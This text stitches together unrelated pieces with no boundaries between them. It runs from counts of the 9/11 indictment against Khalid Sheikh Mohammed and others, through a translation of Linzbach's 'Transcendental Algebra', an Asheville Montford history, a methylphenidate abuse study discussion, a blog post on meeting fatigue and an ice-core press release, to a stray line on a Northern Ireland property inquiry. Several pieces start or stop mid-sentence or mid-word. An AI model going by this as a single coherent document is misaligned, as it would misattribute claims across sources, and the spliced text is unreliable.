194. From in or about 1999 until on or about September 11, 2001, in the Southern District of New York and elsewhere, KHALID SHEIKH MOHAMMED, WALID BIN ATTASH, RAMZI BIN AL-SHIBH, ALI ABDUL AZIZ ALI, MUSTAFA AL-HAWSAWI, the defendants, and others known and unknown, unlawfully, willfully, knowingly, and with wrongful intent, committed aircraft piracy, by seizing and exercising control of aircraft in the special aircraft jurisdiction of the United States by force, violence, threat of force and violence, and intimidation, to wit, the hijacking and destruction of American Airlines Flight 11 and United Airlines Flight 175, resulting in the deaths on and after September 11, 2001, of the first 2,752 persons named on pages 45 through 80 of this Indictment.
(Title 49, United States Code, Sections 46502(a)(1)(A) & (a)(2)(B) and 2.)
COUNTS SEVEN AND EIGHT
Murder of United States Officers and Employees
The Grand Jury further charges:
195. The allegations in paragraphs 1 through 30 and 34 through 180 are repeated.
196. From in or about 1999 until on or about September 11, 2001, in the Southern District of New York and elsewhere, KHALID SHEIKH MOHAMMED, WALID BIN ATTASH, RAMZI BIN AL-SHIBH, ALI ABDUL AZIZ ALI, MUSTAFA AL-HAWSAWI, the defendants, and others known and unknown, unlawfully, willfully, deliberately, with premeditation and malice aforethought, and perpetrated from a premeditated design unlawfully and maliciously to effect the death of a human being other than him who is killed, killed an officer and employee of the United States and agencies and branches thereof, while such officer and employee was engaged in, and on account of, the performance of official duties, to wit, the deaths of the following persons at the World Trade Center in New York City on September 11, 2001:
(Title 18, United States Code, Sections 1111, 1114 and 2.)
COUNT NINE
Destruction of the Twin Towers
The Grand Jury further charges:
197. The allegations in paragraphs 1 through 30 and 34 through 180 are repeated.
198. From in or about 1999 until on or about September 11, 2001, in the Southern District of New York and elsewhere, KHALID SHEIKH MOHAMMED, WALID BIN ATTASH, RAMZI BIN AL-SHIBH, ALI ABDUL AZIZ ALI, MUSTAFA AL-HAWSAWI, defendants, and others known and unknown, unlawfully, maliciously, and knowingly damaged and destroyed, by means of fire and explosives, buildings, vehicles, and other real and personal property used in interstate and foreign commerce and in activities affecting interstate and foreign commerce, to wit, the destruction and damage of two commercial airplanes, the Twin Towers of the World Trade Center, and surrounding structures and property in New York City, resulting in the deaths on and after September 11, 2001, of the first 2,752 persons named on pages 45 through 80 of this Indictment, including hundreds of public safety officers performing duties as a direct and proximate result of the said damage and destruction.
(Title 18, United States Code, Sections 844(i) and 2.)
COUNT TEN
Al Qaeda Conspiracy to Kill Americans
The Grand Jury further charges:
199. The allegations in paragraphs 1 through 30 and 34 through 180 are repeated.
200. From in or about 1989 until the date of the filing of this Indictment, outside the United States, in the Southern District of New York and elsewhere, KHALID SHEIKH MOHAMMED, WALID BIN ATTASH, RAMZI BIN AL-SHIBH, ALI ABDUL AZIZ ALI, MUSTAFA AL-HAWSAWI, the defendants, together with members of the terrorist group known as al Qaeda, affiliated terrorist organizations, and others known and unknown, unlawfully, willfully, and knowingly combined, conspired, confederated, and agreed together and with each other to kill nationals of the United States, in violation of Title 18, United States Code, Section 2332(b).
201. It was a part and an object of the conspiracy that the defendants, and others known and unknown, would and did murder United States nationals anywhere in the world, including the United States.
Overt Acts
202. In furtherance of the conspiracy, and to effect its illegal object, the defendants, and others known and unknown, committed the overt acts set forth in Count One of this Indictment, and the following overt acts, among others:
203. In mid-1999, KHALID SHEIKH MOHAMMED and Usama Bin Laden together visited a covert training facility in the vicinity of Kabul, Afghanistan, where trainees were prohibited from using their true names and the curriculum included instruction in surveillance, counter-surveillance, and assessment of potential targets for terrorist attack.
204. In or about January 2000, RAMZI BIN AL-SHIBH attended a speech given by Usama Bin Laden in the vicinity of Kandahar, Afghanistan.
205. In early- to mid-2000, in Karachi, Pakistan, KHALID SHEIKH MOHAMMED discussed United States interests in Australia as targets for a terrorist attack.
206. In or about mid-2001, in the vicinity of Kandahar, Afghanistan, WALID BIN ATTASH served as a member of Usama Bin Laden’s security detail.
207. In summer 2000, MUSTAFA AL-HAWSAWI was present in al Qaeda facilities in the vicinity of Kandahar, Afghanistan, including the place where the group conducted its “media” operation.
208. From at least in or about May 2001 until at least in or about October 2001, in the vicinity of Kandahar, Afghanistan and Karachi, Pakistan, KHALID SHEIKH MOHAMMED worked to influence media reports about issues of interest to al Qaeda.
209. In November and December 2001, in the vicinity of Kandahar, Afghanistan and Karachi, Pakistan, KHALID SHEIKH MOHAMMED and ALI ABDUL AZIZ ALI participated in a plot to attack airplanes bound for the United States with “shoe bombs.”
210. On or about April 29, 2003, in Pakistan, WALID BIN ATTASH possessed approximately 400 to 500 kilograms of explosives to be used to attack Americans.
(Title 18, United States Code, Section 2332(b)(2).)
Notice of Special Findings
a. The allegations of Counts One through Nine of this Indictment are hereby realleged as if fully set forth herein and incorporated by reference.
b. As to Counts One through Nine of this Indictment, the defendants KHALID SHEIKH MOHAMMED, WALID BIN ATTASH, RAMZI BIN AL-SHIBH, ALI ABDUL AZIZ ALI, MUSTAFA AL-HAWSAWI:
(1) were more than 18 years of age at the time of the offense, (Title 18, United States Code, Section 3591(a));
(2) intentionally killed the victims. (Title 18, United States Code, Section 3591(a)(2)(A));
(3) intentionally inflicted serious bodily injury that resulted in the deaths of the victims. (Title 18, United States Code, Section 3591(a)(2)(B));
(4) intentionally participated in an act, contemplating that the life of a person would be taken and intending that lethal force would be used in connection with a person, other than one of the participants in the offense, and the victims died as a direct result of the acts. (Title 18, United States Code, Section 3591(a)(2)(C));
(5) intentionally and specifically engaged in an act of violence, knowing that the act created a grave risk of death to a person, other than one of the participants in the offense, such that participation in the act constituted a reckless disregard for human life and the victims died as a direct result of the act. (Title 18, United States Code, Section 3591(a)(2)(D));
(6) in committing the offenses described in Counts One through Nine of the Indictment, knowingly created a grave risk of death to one or more persons in addition to the victims of the offense. (Title 18, United States Code, Section 3592(c)(5));
(7) committed the offenses described in Counts One through Nine in an especially heinous, cruel, and depraved manner in that they involved serious physical abuse to the victims. (Title 18, United States Code, Section 3592(c)(6));
(8) committed the offenses described in Counts One through Nine after substantial planning and premeditation to cause the death of a person and commit an act of terrorism. (Title 18, United States Code, Section 3592(c)(9)); and
(9) intentionally killed and attempted to kill more than one person in a single criminal episode. (Title 18, United States Code, Section 3592(c)(16).)
(Title 18, United States Code, Sections 3591 and 3592.)
Andy Worthington is the author of The Guantánamo Files: The Stories of the 774 Detainees in America’s Illegal Prison (published by Pluto Press, distributed by Macmillan in the US, and available from Amazon — click on the following for the US and the UK) and of two other books: Stonehenge: Celebration and Subversion and The Battle of the Beanfield. To receive new articles in your inbox, please subscribe to my RSS feed (and I can also be found on Facebook, Twitter, Digg and YouTube). Also see my definitive Guantánamo prisoner list, updated in July 2010, details about the new documentary film, “Outside the Law: Stories from Guantánamo” (co-directed by Polly Nash and Andy Worthington, on tour in the UK throughout 2011, and available on DVD here — or here for the US), my definitive Guantánamo habeas list and the chronological list of all my articles, and, if you appreciate my work, feel free to make a donation.In 2003, Ksenia Gilyarova wrote a problem about a constructed writing system known as Transcendental Algebra, created by Jacob Linzbach, for the first International Linguistics Olympiad. An easily understandable and accessible resource documenting the details of this language has since been unavailable to years of subsequent IOL contestants. 14 years later, we have located a copy of Linzbach's original book Transcendent algebra, ideografie matematical, experiment de un lingue filosofic, transcribed it, and translated it to English for the benefit of anyone interested in learning more about Linzbach's work.
The book is written in an early version of an international auxiliary language called Occidental—later renamed Interlingue—which was created by Edgar de Wahl. As Linzbach published his book in 1921 a year before Wahl published the official book on Occidental in 1922, some of the word forms and usage do not match what is documented in other resources, of which there are few. Nevertheless, our interpretation of the book is, we hope, as close as possible to Linzbach's original ideas. He also included a 2-page inset giving examples of Transcendental Algebra statements and their translations in German, French, Russian, and Estonian; we have transcribed these examples as well and translated them to English.
We hope you find the following transcription and translation of Transcendent algebra to be as interesting as we did, as well as informative and helpful in learning about Linzbach's "philosophical language".
Chuanshu Jiang (IOL team Australia 2017)
Andrew Tockman (IOL team USA 2017)
contact / comments / feedback: transalg@protonmail.com
Table of contents
Author's note De autor
The present printed brochure is extracted from detailed work.
Li present brochur autolitografic es extract ex detaliat labor.
Desiring to inform the European reader of this new problem,
Desirante informar li letor European peri ti nov poblema,
I have asked the well-known linguist Mr. Edgar de Wahl to translate the text of this brochure
mi ha petit li conosset cosmoglottist sr. E. de Wahl traducter li textu de ti ci brochur
to his universal auxiliary language “Occidental”,
in composit de il lingue universal auxiliari "Occidental",
which being based on roots and suffixes extracted from international words,
quel essent basat sur radicas e suffixes, extractet de paroles international,
and combined for maximum simplicity of grammar and word formation,
e combinat per max simplic grammatica e parolformation,
is comprehensible without study to every person of western civilization.
es comprensibil sin studia a omni hom de occidental civilisation.
As a result there has appeared an interesting symbiosis of two artificial languages:
In resultat ha apparet un symbiose interessant de du lingues artifical:
one constructed language, aspiring to the role of international auxiliary language,
un pasilalie, aspirant ad role de auxiliari lingue international,
and a prospective constructed script, which is, like mathematics, a common language;
e un pasigrafie, volent esser, quem matematica, un lingue commun;
the expressions of one language explain here the expressions of another.
li expressiones de un lingue explica ci li expressiones del altri.
I will be grateful to the reader for communication of remarks.
Mi va esser mersios al letor por communication de remarcas.
Jacob Linzbach.
Jacob Linzbach.
Introduction Introduction
Leibniz writes:
Leibniz scri:
"A part of the secret of the success of algebra consists in its characteristic;
"Un part del secrete del success de algebra consiste in su caracteristica,
that is, in the art of utilizing symbols.
i.e. in arte utilisar symboles.
Therefore there appears the possibility to imagine the creation of new algorithms,
Pro to appare possibilitia imaginar li creation de nov algoritmes,
of new algebras, which study other relations too, different than relations between quantities.
de nov algebras, studiant anque altri relationes, different de relationes inter quantitas.
Furthermore, there appears the hope of reducing all thoughts to a combination of characters,
Mem plu, -- appare li espera reducter omni consideration a un combination de signes,
and there appears the possibility of pondering over a time when two philosophers, like two mathematicians,
e appare possibilita meditar super tel tempor quande du filosofos, simil du matematicos,
instead of [having] infinite disputes, will take pens in hands and, sitting at a table, will replace disputes with calcuation.
in vice de infinit disputes va prender plumes in manus e sedent ad table va vicear disput per calculation.
The common mathematics transforms itself thus in calculation of thoughts (calculus ratiocinator) and conflates itself with logic."
Li commun matematica transforma-se talmen in calcul de considerationes (calculus ratiocinatus) e confunde con logical."
This problem of universal mathematics is solved by transcendental algebra.
Ti ci problema de universal matematica es solvet per transcendent algebra.
Symbolics Symbolica
To constant quantities a, b, c, d… correspond in transcendent algebra definite concepts represented by figures, for example:
A quantitas constant a, b, c, d… corresponde in transcendent algebra definit conceptiones, representat per figures, por exemple:
Variable quantities x, y, z, t… represent themselves with symbols:
Quantitas variabil x, y, z, t… representa se per schemas:
Beyond figures and symbols, also used are numbers 1, 2, 3, 4… and letters a, b, c, d…, x, y, z, t…
Ultra figures e schemas es usat anque cifres 1, 2, 3, 4… e litteres a, b, c, d…, x, y, z, t…
Figures, symbols, numbers and letters join themselves using mathematical characters:
Figures, schemas, cifres e litteres junte se per matematical signes:
Concepts that are not able to be expressed immediately [through basic combinations of glyphs] represent themselves by means of mathematical operations.
Concepiones, ne possent esser expresset inmediatnen, representase por medie de matematical operationes.
In calculation of concepts the value of all the laws of common algebra is conserved.
In calculation de conceptiones conserva valor omni leges de algebra commun.
The results of calculations are found intuitively by way of method of interpretation, used in philosophy.
Li resultates del calcul es trovat intuitivnen per medie de metode de interpretation, usat in filosofie.
Addition Addition
plus, and, with, present
plus, e, con, presentie
horse and cow
cavall e vacca
domestic animals
animales domestic
animals
animales
carpentry tools
instrumentes de carpintero
stars
sideres
I, you, and he/she
mi, tu e il
house #1 and house #2
dom № 1 e dom № 2
June 9th, 1874
9 Juni 1874
big house and small house
granddom e dometto
giant and dwarf
gigant e pigméo
man with umbrella
homo con parapluvie
Subtraction Subtraction
Subtraction is the reciprocal operation to addition.
Subtraction es operation reciproc a addition.
minus, without, not, absent
minus, sin, ne, absentie
fat with skinny without skinny is fat
grossi con tenui sin tenui es grossi
long
long
curved
curb
heavy
ponderos
longer
pl |
they determined was “unproductive” property, “not susceptible of an advantageous partition among the residuary legatees,” according to one correspondence.
But that was in 1879, one year before the railroad reached Asheville. It took a decade, but, like a stop-motion film, farm life began yielding to the charmed life of suburban dream homes.
Pearson bought up his siblings’ shares and joined several local partners to lay out lots and streets under the auspices of the Asheville Loan, Improvement and Construction Company.
Its first sale was to Walter B. Gwyn on Oct. 23, 1890. There’s no image of his deed online.
Gwyn was the president of the Asheville and Craggy Mountain Railroad, which was about to lay tracks up Sunset Mountain. He was also a realtor whose ad stamped just about every issue of the “Asheville Daily Citizen.”
Gwyn lived on Grove Street, according to the 1896 City Directory, so I’m inclined to think he did not have a house in Montford.
Two months passed before the Montford company sold its second lot to Charles Hartshorne, on Dec. 23, 1890.
Hartshorne was a lumber dealer, and he’s harder to track than Gwyn. In 1890, he was living in a boarding house. In 1896, he’s neither listed in the main section of the city directory, which includes some Montford addresses, nor in a separate name-only list of Montford residents in the back.
A.J. Lyman, to whom Hartshorne sold a Montford lot — perhaps the one in question — in 1893, shows up in 1896 as living on Merrimon Avenue; and his name is like a revolving door in Buncombe County’s records of land purchases and sales.
All this digging leads to the meager conclusions that we cannot easily anoint a first Montford homeowner; and that the first responders to the Montford good news were speculators.
Hype
Montford had been a bold and new idea whose time had come in 1890.
It may not seem that its location was very distant from downtown Asheville. Yet, the Oak Street Inn at Oak and Woodfin Streets—much closer to downtown—appealed in ads to boarders who desired “a nice, quiet place, away from the hotels...with no dust or noise.”
It also offered the “latest improved methods for treating chronic diseases of the lungs, throat and nose by the inhalation of vaporized and atomized fluid.”
Getaways have been the attraction in Asheville throughout its history, but the nature of them has changed.
Passing into the 20th century, suburbanites supplanted consumptives; and weekend visitors outnumbered summer residents. Edwin Wiley Grove became a major force in both these trends, creating the Grove Park neighborhood in 1908 and the Battery Park commercial hotel in 1924.
The excitement about Montford went along with an unprecedented amount of optimism about the new, industrialized and cosmopolitan South.
The Inter-state Immigration Convention met in Asheville on December 17, 1890. You should have heard the rhetoric.
Representatives from Virginia to Texas — 350 of them filling the Opera House on Patton Avenue — resolved “that the war between the sections is ended and all bitter remembrances thereof are forgotten.” They issued a call “for 500,000 sturdy sons of toil and 500,000 manufacturers of the north and west, to make their home with us and to join in the development of this land of ours”
Now that the railroad had opened the area up to industry, commerce, and settlement — that is, to prosperity, profits, and polite society — many Ashevillians were giddy about the pending marriage to outside investment.
A blizzard greeted convention delegates the first day, and Governor David Fowle poeticized, “North Carolina has met you dressed in the garb of a bride. She has put on her snowy robes in your honor.”
In the meantime, the city was looking to clean up its act. Editorials decried the Opera House for its “cheap-john shows.” There was a movement afoot to make primary and secondary schooling compulsory. An Asheville editorial, condemning the lynching of an African-American man in Rome, Ga., noted that state “is anxious just now, as all the Southern states are and should be, to attract emigrants.”
Celebrate
The transition to modern Asheville expressed itself in many ways, including war between owners of dogs as lovable pets, on the one hand; and, on the other, owners of hunting dogs, allowed to roam free to keep them in shape.
But it wasn’t all conflict in the convergence of country and city, and northern and southern ways. There were some commonalities.
Hunting, for instance, was a passion that Southerners of Daniel Boone stock and Northerners of Teddy Roosevelt mentality shared. George Washington Vanderbilt had had a hunting preserve foremost in his mind when he’d first envisioned his estate.
And you couldn’t make a trip to the mountains without roughing it a little bit.
“Howard P. Sweetser, a prominent banker of New York, and F.P. Love, of this city,” the “Daily Citizen” reported on Dec. 5, “returned from a three days hunting trip to Sandy Mush last night. They report having brought back 5 wild turkeys, 75 partridges and a number of rabbits.”
In Montford, the union of lifestyle preferences flourished beautifully in domestic architecture.
A late Victorian upper class style combined with the Arts & Crafts cottage style to produce a wide range of homes that featured wood, native stone, craftsmanship, and organic shapes.
Montford became, and remains, a museum of creative solutions.
“What is remarkable about Montford,” the Preservation Society of Asheville and Buncombe County states in its book, “Historic Montford,” “is the rich combination of...various influences...The neighborhood mirrors in subtle ways Asheville’s cosmopolitan character at the turn of the century.” Inclusion of the ideas of national architects such as Frank Lloyd Wright and others puts the neighborhood in a unique class.
On July 4, 1890, Richmond Pearson — Yadkin County-born, Princeton-educated, both internationally and locally celebrated as a consul to Belgium and then a North Carolina assemblyman — decided to throw a huge party for local and visiting folks at Montford Park, below his newly developing Richmond Hill estate.
Here’s how you would have attended if you’d been there at that time.
Go to Public Square and take a streetcar to the train depot; then take the train to the Owenby trestle. There, the Asheville Band will play while you gather to follow marshals to group photo ops at scenic locations.
Food, non-alcoholic drinking, fireworks and dancing will follow the fun of participating in a community enterprise.
“One thousand men will grade in one hour,” the organizers announced, “a half mile of road on either side of Lake Marjorie,” the recreational destination location to be formed by the construction of a dam. (The lake and park would, in 1916, be wiped out by the Great Flood.)
The celebration, the announcement concluded, is “given under the auspices of the Asheville Loan, Improvement and Construction Company by Mr. Pearson in consideration of the privilege which the company have allowed him in naming the new park Montford, the family name of his grandmother.” (This revelation may resolve the mystery of how Montford got its name.)
Rob Neufeld writes the weekly “Visiting Our Past” column for the Citizen-Times. He is the author of books on history and literature, and manages the WNC book and heritage website, “The Read on WNC.” Follow him on Twitter @WNC_chronicler.
Read or Share this story: http://avlne.ws/2fIgqwAAlthough MPH is often viewed as a safe drug with little addiction potential, emerging evidence indicates that MPH abuse is common and increasing2,3,4. We report here that a rat model of MPH abuse produces profound alterations in dopamine neurotransmission that may enhance vulnerability to addiction. First, we show that MPH self-administration results in escalation of MPH intake and enhances the neurochemical potency and reinforcing effects of MPH and dopamine releasers, but not DAT blockers. Second, increases in DAT levels are sufficient to augment the potency of releasers and MPH, but not blockers. Third, although MPH is traditionally classified as a DAT blocker, it shares some functional properties with releasers. Finally, models of therapeutic use and abuse of MPH have completely different neurochemical consequences.
With respect to the first finding, MPH self-administration resulted in escalation of intake over sessions and resulted in enhanced potency of releasers and MPH. The increased rate of intake over sessions was shown to be associated with an increased motivation to administer MPH, as measured by a PR schedule of reinforcement, which is consistent with previous work suggesting that escalation of cocaine intake is due to increased motivation to administer drugs26. Because of the fixed injection maximum per session we imposed to reduce variability in intake, animals cannot escalate in total intake. However, first-hour intake was increased, which is a hallmark of traditional escalation8,9,10,11,26. This first-hour escalation is consistent with work using long-access conditions showing that MPH intake does escalate at a number of doses11. Thus, like cocaine and AMPH, MPH intake transitions from low to high levels of intake over time.
In addition to enhanced MPH reinforcement, MPH self-administration also resulted in increased motivation to administer AMPH, a dopamine releaser, but not cocaine, a DAT blocker. The increased motivation to administer MPH and AMPH is likely driven by increased MPH and AMPH potency at the DAT and concomitant increases in extracellular dopamine. We found that increased DAT levels, observed following MPH self-administration, were sufficient to elicit the selective increase in MPH and releaser potencies. Indeed, genetic overexpression of the DAT in mice, in the absence of pharmacological intervention, recapitulated the neurochemical and behavioural alterations associated with MPH self-administration. In addition to providing a possible mechanism for the MPH self-administration-induced augmentation of the reinforcing efficacy of releasers, this demonstrates that fluctuations in DAT levels, regardless of how they occur, will change the potency of releaser compounds.
Next, we find that DAT level changes alter the potency of dopamine releasers and MPH, but not DAT blockers, despite the general consensus in the field that shifts in cell surface DAT expression lead to inverse shifts in cocaine, but not AMPH, potency. This theory originates from two main sources. The first is that historically, cocaine elevates dopamine in the NAc shell, where DAT levels are low, to a much greater extent than that in the dorsal striatum, where DAT levels are high27,28. Second, cell culture work shows that DAT overexpression in cells results in a decrease in cocaine potency with no change in the AMPH potency14.
With respect to the first, the increased potency of cocaine in the shell relative to the caudate has been demonstrated in vivo with microdialysis, and there are a number of factors other than DAT numbers that could influence these results. For example, there are many differences between afferent inputs to caudate and NAc shell, including levels of serotonin and norepinephrine innervations, which are also cocaine targets and influence presynaptic dopamine release. These differences could greatly influence the regional specificity of cocaine effects on dopamine29. In addition, previous work using voltammetry in freely moving animals has shown that regional variations in the potency of cocaine are likely attributable to differences in D2 autoreceptor sensitivity in regulating dopamine release, and not differences in DAT levels30.
With respect to discrepancies with cell culture work, one possibility is that recording endogenous dopamine fluctuations with voltammetry may produce different results than cell culture studies using exogenous [3H]-DA to measure uptake and uptake inhibition14. It is possible that [3H]-DA is sequestered into intracellular compartments differently than endogenous DA, and that releaser compounds interact differently with these compartments. Alternatively, it should be noted that many cell culture studies have determined the absolute effects of psychostimulants on dopamine levels, while not necessarily taking into account baseline rates of uptake in the overall effects of these drugs. This is particularly relevant as substantial work has suggested that behavioural outcomes are dependent on a change relative to baseline, not the absolute dopamine levels in isolation31,32,33. Voltammetry determines the effects of the drug while accounting for baseline uptake rates, and this approach correlates well with behavioural outcomes not only in this study but in previous work as well23.
The DAT-dependent changes in psychostimulant potencies are particularly relevant in clinical treatment settings because disorders such as post-traumatic stress disorder and ADHD are associated with increased DAT levels, ranging from 17 to 70% (refs 15, 16, 17, 18). These people could be more sensitive to the neurochemical, behavioural and neurotoxic effects of prescribed AMPH and MPH. In addition, these findings may partially explain the high frequency of drug abuse in untreated ADHD sufferers34.
Third, this work suggests that MPH is unique in the way in which it interacts with the DAT, and that the characterization of MPH solely as a prototypical DAT blocker may need revision. Indeed, although MPH is considered a DAT blocker, the increased behavioural and neurochemical potency of MPH following both MPH self-administration and DAT overexpression resembles the shift in AMPH’s effects, and not cocaine’s. Moreover, the acute effects of MPH following cocaine self-administration have previously been shown to be similar to releasers and not blockers. For example, Ferris et al.35 found that cocaine self-administration resulted in DAT tolerance to all blockers, but not releasers or MPH. In addition to the evidence provided by our laboratory, others have shown that, although MPH is not a substrate for the DAT36, it functions as a releaser at high concentrations37,38. In addition, MPH binds to the DAT in a manner that is distinct from prototypical blockers or releasers39,40, with significant overlap between the binding sites for both cocaine and AMPH. It is possible that although MPH is not transported into the cell, the interaction with the AMPH site results in conformational changes in the DAT, which promote reverse transport in the same way as AMPH. More work is needed to clarify the molecular mechanisms unique to MPH, but our findings suggest that MPH shares some characteristics of both blockers and releasers.
Our fourth major finding was that oral administration of low-dose MPH had different neurochemical consequences than self-administration of high-dose MPH. We found that oral administration of low, therapeutic doses had no discernible neurochemical consequences on the dopamine system. This is consistent with other work showing no changes in dopamine kinetics or stimulant potencies following low-dose therapeutic administration of MPH41,42. This differential effect of MPH at low and high doses may be due to the fact that high-dose MPH substantially elevates dopamine levels in the NAc, whereas low-dose MPH does not43,44. In addition, changes associated with MPH abuse models may be due to their higher doses and rapid onset, compared with therapeutic administration.
In summary, this study shows that MPH self-administration elevates DAT levels and leads to enhanced MPH and dopamine releaser potency. We showed that changes in DAT levels alone were sufficient to alter the potency of psychostimulant releasers and MPH, but not blockers. Thus, MPH is likely increasing DAT levels in individuals that are abusing the drug, which may lead to increased potency for dopamine uptake inhibition, neurotoxicity, and abuse potential for releasers and MPH. In addition, this study demonstrates that MPH potency is altered by transporter fluctuations in a manner that is not significantly different from releasers, although it is not a substrate for the DAT. Thus, we have discovered novel properties of MPH interactions with the DAT, which coincide with novel neuroadaptations following high-dose exposure.Psychological studies point out one more reason why long meetings are no fun and get less done:
Imagine, for a moment, that you are facing a very difficult decision about which of two job offers to accept. One position offers good pay and job security, but is pretty mundane, whereas the other job is really interesting and offers reasonable pay, but has questionable job security. Clearly you can go about resolving this dilemma in many ways. Few people, however, would say that your decision should be affected or influenced by whether or not you resisted the urge to eat cookies prior to contemplating the job offers. A decade of psychology research suggests otherwise. Unrelated activities that tax the executive function have important lingering effects, and may disrupt your ability to make such an important decision. In other words, you might choose the wrong job because you didn’t eat a cookie.
Research by University of Minnesota psychologist Kathleen Vohs and colleagues indicates that we have a limited amount of what they call executive resources. Once they start to get depleted, we make bad choices.
And how do you consume your executive resources? In three ways. You use them every time you:
Exercise commitment (as in not eating that cookie you really wanted because you’re on a diet) Focus your attention (as in listening to someone speaking, though you’d rather check email on your Blackberry) Make a decision (as in choosing which of two possible projects to approve)
A-HA!!!!!
Business meetings require participants to commit, focus and make decisions – with no acknowledgment of the fact that in doing so they’re consuming a finite resource. Once this resource runs out, people make worse decisions!!!
Suddenly those three-hour project meetings aren’t looking so smart, are they? Not that they ever really did, but you know what I mean.
The article left me with a few questions:
How do we recharge our executive resources?
Can we increase our executive resources over time by exercising them? The way physical exercise makes you tired right now but increases your fitness over time.
How quickly can they be recharged? Once they’re gone, are they gone for the day? The week? Or can they be recharged in time for the next meeting?
If you know the answer to any of these questions, I’d love to hear it!
Your take
What do you think? Have you noticed this kind of thing in meetings? What do you think is the cut-off point beyond which meetings just devolve into pointlessness and no good decisions can be made? An hour? Two? 15 minutes?
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PinterestGreenland ice core reveals warm past temperatures
British Antarctic Survey scientists have contributed to a new study published in Nature (Thursday 24 January) that provides surprising details on changes in Earth’s climate from more than 100,000 years ago.
Made possible by an international team of researchers’ analysis of a new deep ice core from the Greenland ice-sheet indicates the last interglacial period (the warm period between successive ‘ice ages’) may provide a good picture of where the planet is heading in the face of increasing greenhouse gases and warming temperatures.
The new results from the North Greenland Eemian Ice Drilling project (NEEM) led by the University of Copenhagen shows that 130,000 to 115,000 years ago during the Eemian interglacial, the climate in North Greenland was about eight degrees Celsius warmer than at present.
Despite the strong warming signal during the Eemian — a period when the sea level was roughly four to eight meters higher than today — the surface in the vicinity of NEEM was only about 130 metres lower than its present level, which indicates the Greenland ice-sheet may have contributed less than half of the total increase in sea level at the time.
Project leader Dorthe Dahl-Jensen of the University of Copenhagen said,
“The new findings reveal higher temperatures in Northern Greenland during the Eemian than paleo-climate models have estimated.”
Following the previous glacial period, 128,000 years before present, the surface elevation in the vicinity of NEEM was 200 meters higher than today, but then over the next 6,000 years it reduced rapidly to 130m below the current elevation before levelling off and remaining stable at an ice thickness of 2,400m in the late Eemian 122,000 to 115,000 years before the present.
That rate of surface lowering was 6cm per year, and the research team estimate that the rate of mass loss from the Greenland ice sheet was likely to be on the same order as changes observed during the last ten years.
Intense surface melt in the vicinity of NEEM during the warm Eemian period was seen in the ice core as layers of re-frozen melt-water. Melt-water from surface snow had penetrated the underlying snow, where it re-froze. Such melt events during the past 5,000 years are very rare by comparison, confirming that the surface temperatures at the NEEM site during the Eemian were significantly warmer than today, said the researchers.
The team was in Greenland during the summer of 2012 during a rare modern melt event.
Professor Dorthe Dahl-Jensen, continues,
“We were quite shocked by the warm surface temperatures observed at the NEEM ice camp in July 2012. It was simply raining, and, just as during the Eemian period, meltwater formed subsurface ice layers. While this was an extreme event, the present warming over Greenland makes surface melt more likely, and the predicted warming over Greenland the next 50–100 years will potentially lead to Eemian-like climate conditions. “The good news from this study is that Greenland is not as sensitive as we thought to temperature increases in terms of disgorging ice into the ocean during interglacial periods. “The bad news is that if Greenland did not disappear during the Eemian, Antarctica, including the more dynamically unstable West Antarctica, must be responsible for a significant part of the 4–8 m sea level rise.”
The Greenland ice core layers — formed over millennia by compressed snow — are being studied in detail using a wide range of measurements, including stable water isotope analysis that reveals information about temperature and moisture changes back in time. Laser-based instruments are used to measure the water isotopes and atmospheric gas bubbles trapped in the ice cores to better understand past variations in climate on a year-by-year basis — similar in some ways to a tree-ring record.
“It’s a great achievement for science to gather and combine so many measured ice core records to reconstruct the climate history of the past Eemian.” said Dahl-Jensen. “It shows what a great team of researchers we have assembled and how valuable these findings are.”
The NEEM project
Led by the University of Copenhagen and involving 14 nations, the team drilled more than 2.5 km to bedrock in just over two years as part of the North Greenland Eemian Ice Drilling project, or NEEM. The team extracted the first complete ice core record from the Arctic of the last interglacial period known as the Eemian, providing past temperatures, precipitation and levels of atmospheric gases to better understand the current and future warming of Earth that virtually all climate scientists attribute to increases in human-produced greenhouse gases.
Co-author of the Nature paper Dr Robert Mulvaney, an ice core expert at British Antarctic Survey, said,
“For a long time we have said the Eemian paints a picture of how our present climate might develop over the next centuries if climate change continues as we expect. We have also thought that Greenland was a major source of the sea-level rise in the last Inter-Glacial period, but this research shows its contribution was not as much since it appears that less ice melted than we’d believed. But, as we know sea level during this period was higher than today, the implication is that there must have been a significant contribution from melting of the Antarctic, and the obvious place to look there is the West Antarctic Ice Sheet (WAIS). We already know that changes are taking place there today, and this result from Greenland tells us that it imperative to maintain a watchful eye on the state of the WAIS. “During the drilling operation in Northern Greenland, which was carried out in a covered pit excavated eight meters deep into the ice, scientists set up their instruments in a small, warm cabin within the ice cave where temperatures were around minus 20 degrees Celsius. For 24 hours a day teams of scientists made measurements on the ice core. BAS scientists measured aerosols blown into the site from the surrounding ocean and trapped in the ice. We will use this information to understand the amount of sea ice in the Arctic in the past.”
NEEM is an international ice core research project aimed at retrieving an ice core from North-West Greenland (camp position 77.45°N 51.06°W) reaching back through the previous interglacial, the Eemian. The project logistics is managed by the Centre for Ice and Climate, Denmark, and the air support is carried out by US ski equipped Hercules managed through the US Office of Polar Programs, National Science Foundation.
ENDS
The paper “Eemian interglacial reconstructed from a Greenland folded ice core” by Dahl-Jensen et al is published in Nature.
Press Office Contacts
Please contact the British Antarctic Survey Press Office for a copy of the paper and to arrange an interview with Dr Robert Mulvaney.
Paul Holland – Tel: +44 (0)1223 221226; email: [email protected]
Scientists’ contact details
Denmark
Professor Dorthe Dahl-Jensen (Lead Author)
Centre for Ice and Climate, Niels Bohr Institute, University of Copenhagen
Email: [email protected]
UK
Dr Robert Mulvaney
British Antarctic Survey
Email: [email protected]; Tel: 01223 221436
British Antarctic Survey (BAS), a component of the Natural Environment Research Council (NERC), delivers and enables world-leading interdisciplinary research in the Polar Regions. Its skilled science and support staff based in Cambridge, Antarctica and the Arctic, work together to deliver research that uses the Polar Regions to advance our understanding of Earth as a sustainable planet. Through its extensive logistic capability and know-how BAS facilitates access for the British and international science community to the UK polar research operation. Numerous national and international collaborations, combined with an excellent infrastructure help sustain a world leading position for the UK in Antarctic affairs.
The Natural Environment Research Council (NERC) is the UK’s main agency for funding and managing world-class research, training and knowledge exchange in the environmental sciences. It coordinates some of the world’s most exciting research projects, tackling major issues such as climate change, environmental influences on human health, the genetic make-up of life on earth, and much more. NERC receives around £320 million a year from the government’s science budget, which it uses to fund independent research and training in universities and its own research centres.POLICE IN NORTHERN Ireland have launched a criminal inquiry into the sale of Nama’s NI property portfolio.
